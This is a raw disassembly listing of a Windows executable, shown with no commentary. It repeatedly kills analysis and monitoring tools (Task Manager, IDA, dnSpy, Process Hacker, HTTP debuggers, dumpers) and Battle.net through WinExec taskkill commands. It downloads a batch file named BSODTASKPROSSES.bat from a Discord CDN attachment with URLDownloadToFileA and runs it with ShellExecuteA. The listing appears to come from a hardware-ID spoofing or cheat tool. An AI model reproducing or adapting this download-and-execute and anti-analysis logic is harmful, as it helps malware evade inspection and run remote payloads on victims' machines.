lea rcx, [rsp + 0xa158]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa178]
call fcn.14005d9d0
mov qword [rsp + 0x1ac0], rax
mov rax, qword [rsp + 0x1ac0]
mov qword [rsp + 0x1ac8], rax
mov r8, qword [rsp + 0x1ac8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH
lea rcx, [rsp + 0xb630]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa178]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa198]
call fcn.14005d9d0
mov qword [rsp + 0x1ad0], rax
mov rax, qword [rsp + 0x1ad0]
mov qword [rsp + 0x1ad8], rax
mov r8, qword [rsp + 0x1ad8]
lea rdx, str.C:WindowsSystem32Mobo.exe__SU
lea rcx, [rsp + 0xb610]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa198]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa1b8]
call fcn.14005d9d0
mov qword [rsp + 0x1ae0], rax
mov rax, qword [rsp + 0x1ae0]
mov qword [rsp + 0x1ae8], rax
mov r8, qword [rsp + 0x1ae8]
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL
lea rcx, [rsp + 0xb5f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa1b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa1d8]
call fcn.14005d9d0
mov qword [rsp + 0x1af0], rax
mov rax, qword [rsp + 0x1af0]
mov qword [rsp + 0x1af8], rax
mov r8, qword [rsp + 0x1af8]
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX
lea rcx, [rsp + 0xb5d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa1d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa1f8]
call fcn.14005d9d0
mov qword [rsp + 0x1b00], rax
mov rax, qword [rsp + 0x1b00]
mov qword [rsp + 0x1b08], rax
mov r8, qword [rsp + 0x1b08]
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX
lea rcx, [rsp + 0xb5b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa1f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8858]
call fcn.14005d9d0
mov qword [rsp + 0x1b10], rax
mov rax, qword [rsp + 0x1b10]
mov qword [rsp + 0x1b18], rax
mov r8, qword [rsp + 0x1b18]
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX
lea rcx, [rsp + 0xb590]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8858]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8878]
call fcn.14005d9d0
mov qword [rsp + 0x1b20], rax
mov rax, qword [rsp + 0x1b20]
mov qword [rsp + 0x1b28], rax
mov r8, qword [rsp + 0x1b28]
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX
lea rcx, [rsp + 0xb570]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8878]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x8898]
call fcn.14005d9d0
mov qword [rsp + 0x1b30], rax
mov rax, qword [rsp + 0x1b30]
mov qword [rsp + 0x1b38], rax
mov r8, qword [rsp + 0x1b38]
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN
lea rcx, [rsp + 0xb550]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x8898]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x88b8]
call fcn.14005d9d0
mov qword [rsp + 0x1b40], rax
mov rax, qword [rsp + 0x1b40]
mov qword [rsp + 0x1b48], rax
mov r8, qword [rsp + 0x1b48]
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN
lea rcx, [rsp + 0xb530]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x88b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x88d8]
call fcn.14005d9d0
mov qword [rsp + 0x1b50], rax
mov rax, qword [rsp + 0x1b50]
mov qword [rsp + 0x1b58], rax
mov r8, qword [rsp + 0x1b58]
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC
lea rcx, [rsp + 0xb510]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x88d8]
call fcn.14005d8e0
lea rcx, [rsp + 0xc130]
call fcn.14006c020
lea rcx, [rsp + 0xc110]
call fcn.14006c020
lea rcx, [rsp + 0xc0f0]
call fcn.14006c020
lea rcx, [rsp + 0xc0d0]
call fcn.14006c020
lea rcx, [rsp + 0xc0b0]
call fcn.14006c020
lea rcx, [rsp + 0xc090]
call fcn.14006c020
lea rcx, [rsp + 0xc070]
call fcn.14006c020
lea rcx, [rsp + 0xc050]
call fcn.14006c020
lea rcx, [rsp + 0xc030]
call fcn.14006c020
lea rcx, [rsp + 0xc010]
call fcn.14006c020
lea rcx, [rsp + 0xbff0]
call fcn.14006c020
lea rcx, [rsp + 0xbfd0]
call fcn.14006c020
lea rcx, [rsp + 0xbfb0]
call fcn.14006c020
lea rcx, [rsp + 0xbf90]
call fcn.14006c020
lea rcx, [rsp + 0xbf70]
call fcn.14006c020
lea rcx, [rsp + 0xbf50]
call fcn.14006c020
lea rcx, [rsp + 0xbf30]
call fcn.14006c020
lea rcx, [rsp + 0xbf10]
call fcn.14006c020
lea rcx, [rsp + 0xbef0]
call fcn.14006c020
lea rcx, [rsp + 0xbed0]
call fcn.14006c020
lea rcx, [rsp + 0xbeb0]
call fcn.14006c020
lea rcx, [rsp + 0xbe90]
call fcn.14006c020
lea rcx, [rsp + 0xbe70]
call fcn.14006c020
lea rcx, [rsp + 0xbe50]
call fcn.14006c020
lea rcx, [rsp + 0xbe30]
call fcn.14006c020
lea rcx, [rsp + 0xbe10]
call fcn.14006c020
lea rcx, [rsp + 0xbdf0]
call fcn.14006c020
lea rcx, [rsp + 0xbdd0]
call fcn.14006c020
lea rcx, [rsp + 0xbdb0]
call fcn.14006c020
lea rcx, [rsp + 0xbd90]
call fcn.14006c020
lea rcx, [rsp + 0xbd70]
call fcn.14006c020
lea rcx, [rsp + 0xbd50]
call fcn.14006c020
lea rcx, [rsp + 0xbd30]
call fcn.14006c020
lea rcx, [rsp + 0xbd10]
call fcn.14006c020
lea rcx, [rsp + 0xbcf0]
call fcn.14006c020
lea rcx, [rsp + 0xbcd0]
call fcn.14006c020
lea rcx, [rsp + 0xbcb0]
call fcn.14006c020
lea rcx, [rsp + 0xbc90]
call fcn.14006c020
lea rcx, [rsp + 0xbc70]
call fcn.14006c020
lea rcx, [rsp + 0xbc50]
call fcn.14006c020
lea rcx, [rsp + 0xbc30]
call fcn.14006c020
lea rcx, [rsp + 0xbc10]
call fcn.14006c020
lea rcx, [rsp + 0xbbf0]
call fcn.14006c020
lea rcx, [rsp + 0xbbd0]
call fcn.14006c020
lea rcx, [rsp + 0xbbb0]
call fcn.14006c020
lea rcx, [rsp + 0xbb90]
call fcn.14006c020
lea rcx, [rsp + 0xbb70]
call fcn.14006c020
lea rcx, [rsp + 0xbb50]
call fcn.14006c020
lea rcx, [rsp + 0xbb30]
call fcn.14006c020
lea rcx, [rsp + 0xbb10]
call fcn.14006c020
lea rcx, [rsp + 0xa350]
call fcn.14006c020
lea rcx, [rsp + 0xa350]
call fcn.14006c020
lea rcx, [rsp + 0xbaf0]
call fcn.14006c020
lea rcx, [rsp + 0xbad0]
call fcn.14006c020
lea rcx, [rsp + 0xbab0]
call fcn.14006c020
lea rcx, [rsp + 0xba90]
call fcn.14006c020
lea rcx, [rsp + 0xba70]
call fcn.14006c020
lea rcx, [rsp + 0xba50]
call fcn.14006c020
lea rcx, [rsp + 0xba30]
call fcn.14006c020
lea rcx, [rsp + 0xba10]
call fcn.14006c020
lea rcx, [rsp + 0xb9f0]
call fcn.14006c020
lea rcx, [rsp + 0xb9d0]
call fcn.14006c020
lea rcx, [rsp + 0xb9b0]
call fcn.14006c020
lea rcx, [rsp + 0xb990]
call fcn.14006c020
lea rcx, [rsp + 0xb970]
call fcn.14006c020
lea rcx, [rsp + 0xb950]
call fcn.14006c020
lea rcx, [rsp + 0xb930]
call fcn.14006c020
lea rcx, [rsp + 0xb910]
call fcn.14006c020
lea rcx, [rsp + 0xddd0]
call fcn.14006c020
lea rcx, [rsp + 0xb8d0]
call fcn.14006c020
lea rcx, [rsp + 0xb8b0]
call fcn.14006c020
lea rcx, [rsp + 0xb890]
call fcn.14006c020
lea rcx, [rsp + 0xb870]
call fcn.14006c020
lea rcx, [rsp + 0xb850]
call fcn.14006c020
lea rcx, [rsp + 0xb830]
call fcn.14006c020
lea rcx, [rsp + 0xb810]
call fcn.14006c020
lea rcx, [rsp + 0xb7f0]
call fcn.14006c020
lea rcx, [rsp + 0xb7d0]
call fcn.14006c020
lea rcx, [rsp + 0xb7b0]
call fcn.14006c020
lea rcx, [rsp + 0xb790]
call fcn.14006c020
lea rcx, [rsp + 0xb770]
call fcn.14006c020
lea rcx, [rsp + 0xb750]
call fcn.14006c020
lea rcx, [rsp + 0xb730]
call fcn.14006c020
lea rcx, [rsp + 0xb710]
call fcn.14006c020
lea rcx, [rsp + 0xb6f0]
call fcn.14006c020
lea rcx, [rsp + 0xb6d0]
call fcn.14006c020
lea rcx, [rsp + 0xb6b0]
call fcn.14006c020
lea rcx, [rsp + 0xb690]
call fcn.14006c020
lea rcx, [rsp + 0xb670]
call fcn.14006c020
lea rcx, [rsp + 0xb650]
call fcn.14006c020
lea rcx, [rsp + 0xb630]
call fcn.14006c020
lea rcx, [rsp + 0xb610]
call fcn.14006c020
lea rcx, [rsp + 0xb5f0]
call fcn.14006c020
lea rcx, [rsp + 0xb510]
call fcn.14006c020
lea rcx, [rsp + 0xb530]
call fcn.14006c020
lea rcx, [rsp + 0xb550]
call fcn.14006c020
lea rcx, [rsp + 0xb570]
call fcn.14006c020
lea rcx, [rsp + 0xb590]
call fcn.14006c020
lea rcx, [rsp + 0xb5b0]
call fcn.14006c020
lea rcx, [rsp + 0xb5d0]
call fcn.14006c020
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xb4f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xb4d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb4d0]
call fcn.14005d8d0
mov qword [rsp + 0x1b60], rax
lea rcx, [rsp + 0xb4f0]
call fcn.14005d8d0
mov qword [rsp + 0x1b68], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1b60]
mov rdx, qword [rsp + 0x1b68]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
